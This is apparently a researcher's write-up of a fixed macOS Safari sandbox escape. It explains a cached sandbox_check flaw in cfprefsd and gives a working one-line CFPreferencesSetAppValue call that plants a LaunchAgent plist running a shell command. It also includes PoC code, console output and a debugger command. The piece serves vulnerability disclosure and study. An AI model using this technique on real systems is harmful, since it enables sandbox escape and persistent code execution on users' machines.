One-liner Safari Sandbox Escape Exploit
TOCTOU bug in CoreFoundation and state change of sandbox lockdown on macOS Safari, leading to easy sandbox escape.
I am writing about a dead simple and reliable sandbox escape exploit which only have one line of code. Yeah I am sure it’s an exploit, not just PoC. It has nothing to do with iOS.
The bug was refactored (or killed) before the beta release of Mojave. The latest vulnerable version is macOS High Sierra 10.13.6 (17G65).
Since it’s part of a browser exploit chain you’ll need a renderer exploit to gain shellcode execution first. If not, disable SIP so you can debug, attach lldb to a running com.apple.WebKit.WebContent.xpc
and use the following command:
po CFPreferencesSetAppValue(@"Label", @"You know what should be put here", [(id)NSHomeDirectory() stringByAppendingPathComponent:@"Library/LaunchAgents/evil.plist"])
This line will generate a new plist under ~/Library/LaunchAgents
. With the proper arguments you can launch a Calculator or anything you like after re-logging into system.
What’s going on here? Isn’t that supposed to be blocked by the sandbox?
The bug
The key is that there’s a TOCTOU in cfprefsd
that you don’t even need to race.
There are Preferences Utilities in CoreFoundation for reading and saving plist serialized preferences on macOS.
- https://developer.apple.com/documentation/corefoundation/1515497-cfpreferencescopyappvalue?language=objc
- https://developer.apple.com/documentation/corefoundation/1515528-cfpreferencessetappvalue?language=objc
Most developers are in favor of NSUserDefaults
. They are similar for reading and setting serialized key value data, but NSUserDefaults
is designed for containerized environment (like apps from App Store), while Preferences Utilities has an explicit argument for accessing data from other applications.
These plist files are usually located in:
/Library/Preferences
for root privileged processes~/Library/Preferences
for normal, un-containerized process~/Library/Containers/{bundle_id}/Data/Library/Preferences
for containerized apps from mac App Store
The applicationID
can also be an absolute path, just like the given one-liner. But it’s supposed to perform permission check on the parameter. Why did it even work?
These functions internally invoke XPC with cfprefsd
, as implemented in CoreFoundation
. The daemon surely will check the sandbox state and permission of the incoming message with sandbox_check
.
Unfortunately there used to be an implementation error. It mistakenly caches the result of sandbox_check
from the beginning, and keep trusting it during the whole session.
The vulnerable function:
void ____CFPrefsMessageSenderIsSandboxed_block_invoke(int context, int param_2) {
int sandboxed;
undefined4 *puVar1;
if (*(int *) (param_2 + 0x1c) == 0) {
sandboxed = _sandbox_check(*(undefined4 *) (context + 0x18),0,
*(undefined4 *)SANDBOX_CHECK_NO_REPORT);
*(bool *)(*(int *)(*(int *)(context + 0x14) + 4) + 0x10) = sandboxed != 0;
puVar1 = (undefined4 *)PTR__kCFBooleanFalse 0048b070;
if (*(char *)(*(int *) (*(int *) (context + 0x14) + 4) + 0x10) != 0) {
puVarl= (undefined4 *)PTR__kCFBooleanTrue0048b074;
}
*(undefined4 *)(param_2 + 0x1c) = *puVar1;
} else {
*(bool *)(*(int *)(*(int *)(context + 0x14) + 4) + 0x10) =
*(int *)(param_2 + 0x1c) == *(int *)PTR__KCFBooleanTrue_0048b074;
}
return;
}
The client process first initiates an XPC connection with cfprefsd
, its sandbox state is checked with sandbox_check
function. The result is cached for the duration of this XPC session. Thus, new CFPreference
operations are still allowed by cfprefsd
after sandbox lockdown because of this cached result.
PoC
Minimal test case here.
The following CopyAppValue
request obviously will fail:
init_sandbox(); // copy the implementation from WebKit source
NSLog(@"read: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.app/Contents/Info")));
bogon:Downloads vm$ ./a.out
2019-03-14 07:47:48.068 a.out[1028:33847] read: (null)
The console output for the first try:
rejecting read of { /Applications/Calculator.app/Contents/Info, kCFPreferencesAnyUser, kCFPreferencesCurrentHost, no container, managed: 0 } from process 1028 because accessing preferences outside an application’s container requires user-preference-read or file-read-data sandbox accessNow let’s put an extra read operation before init_sandbox, the second call will surprisingly work:
If a process has accessed CFPreferences utilities before it goes into sandbox state, there will be no further sandbox check.
CFPreferencesCopyAppValue(CFSTR("TALLogoutSavesState"), CFSTR("com.apple.loginwindow"));
init_sandbox();
NSLog(@"after: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.app/Contents/Info")));
bogon:Downloads vm$ ./a.out
2019-03-14 07:47:08.347 a.out[1026:33710] after: 10.13, Copyright © 2001-2017, Apple Inc.
Study on WebKit
Let’s take a look at WebKit’s sandbox implementation.
According to the sandbox profile, process-exec
is prohibited (all rules not explicitly allowed goes to deny default
)
WebKit has a multi-process architecture, so it needs to spawn the process before containerization. At the very beginning of the renderer process creation, it’s just a normal process.
Unfortunately the renderer process has such interaction with CFPreferences
during process initialization:
frame #17: 0x00007fff454e015a CoreFoundation` _CFPreferencesCopyAppValueWithContainerAndConfiguration + 107
frame #18: 0x00007fff47868b94 Foundation` -[NSUserDefaults(NSUserDefaults) init] + 1423
frame #19: 0x00007fff47870c3a Foundation` +[NSUserDefaults(NSUserDefaults) standardUserDefaults] + 78
frame #20: 0x00007fff42a3ba4e AppKit` +[NSApplication initialize] + 90
frame #21: 0x00007fff71678248 libobjc.A.dylib` CALLING_SOME_+initialize_METHOD + 19
frame #22: 0x00007fff7166800c libobjc.A.dylib` _class_initialize + 282
frame #23: 0x00007fff71667a19 libobjc.A.dylib` lookUpImpOrForward + 238
frame #24: 0x00007fff71667494 libobjc.A.dylib` _objc_msgSend_uncached + 68
frame #25: 0x0000000100001627 com.apple.WebKit.WebContent` ___lldb_unnamed_symbol1$$com.apple.WebKit.WebContent + 519
frame #26: 0x00007fff72743ed9 libdyld.dylib` start + 1
After the initialization, it calls ChildProcess::initializeSandbox to enter sandbox and load untrusted content.
void ChildProcess::initializeSandbox(const ChildProcessInitializationParameters& parameters, SandboxInitializationParameters& sandboxParameters)
{
#if ENABLE(MANUAL_SANDBOXING)
NSBundle *webkit2Bundle = [NSBundle bundleForClass:NSClassFromString(@"WKView")];
String defaultProfilePath = [webkit2Bundle pathForResource:[[NSBundle mainBundle] bundleIdentifier] ofType:@"sb"];
if (sandboxParameters.systemDirectorySuffix().isNull()) {
String defaultSystemDirectorySuffix = String([[NSBundle mainBundle] bundleIdentifier]) + "+" + parameters.clientIdentifier;
sandboxParameters.setSystemDirectorySuffix(defaultSystemDirectorySuffix);
}
String sandboxImportPath = "/usr/local/share/sandbox/imports";
sandboxParameters.addPathParameter("IMPORT_DIR", fileSystemRepresentation(sandboxImportPath).data());
switch (sandboxParameters.mode()) {
case SandboxInitializationParameters::UseDefaultSandboxProfilePath:
case SandboxInitializationParameters::UseOverrideSandboxProfilePath: {
String sandboxProfilePath = sandboxParameters.mode() == SandboxInitializationParameters::UseDefaultSandboxProfilePath ? defaultProfilePath : sandboxParameters.overrideSandboxProfilePath();
if (!sandboxProfilePath.isEmpty()) {
CString profilePath = fileSystemRepresentation(sandboxProfilePath);
char* errorBuf;
if (sandbox_init_with_parameters(profilePath.data(), SANDBOX_NAMED_EXTERNAL, sandboxParameters.namedParameterArray(), &errorBuf)) {
WTFLogAlways("%s: Couldn't initialize sandbox profile [%s], error '%s'\n", getprogname(), profilePath.data(), errorBuf);
for (size_t i = 0, count = sandboxParameters.count(); i != count; ++i)
WTFLogAlways("%s=%s\n", sandboxParameters.name(i), sandboxParameters.value(i));
exit(EX_NOPERM);
}
}
break;
}
So cfprefsd
will always treat it like a normal process.
No additional action required, just access arbitrary preferences from arbitrary domain under same uid with these utilities. Let’s assume you’ve already archived rop or shellcode to dlopen
the escape payload, all you need to put in the dylib constructor function is the following one line of code:
CFPreferencesSetAppValue(CFSTR("ProgramArguments"), (__bridge CFArrayRef)@[@"/bin/sh", @"-c", @"open -a Calculator"], (__bridge CFStringRef)[NSHomeDirectory() stringByAppendingPathComponent:@"Library/LaunchAgents/evil.plist"]);
LaunchAgent requires logging off, so I digged around and found another way to trigger the code execution outside instantly. Well this instant trigger actually has nearly 80 lines of code (make it clear in case of the Criticism for the title).
Here’s the live demo chained with WebSQL renderer exploit from Pwn2Own 2017 (credit to Slipper & Kelwin). Don’t have a working renderer exploit on High Sierra now so I use the old one.
Demo
This bug affects at least from El Capitan to High Sierra (10.13.6), or maybe even earlier version. No CVE assigned but I think it’s worth branding.